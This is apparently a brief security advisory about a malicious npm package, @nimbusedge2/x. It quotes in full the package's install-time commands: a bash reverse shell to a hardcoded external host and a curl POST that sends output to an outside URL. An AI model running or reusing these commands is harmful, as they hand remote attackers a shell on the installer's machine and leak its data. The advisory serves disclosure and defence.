Summary

Malicious code in @nimbusedge2/x (npm)

Details

package.json declares a preinstall lifecycle script that runs automatically on `npm install`. The script invokes `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through `curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php`, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.

Decision reason
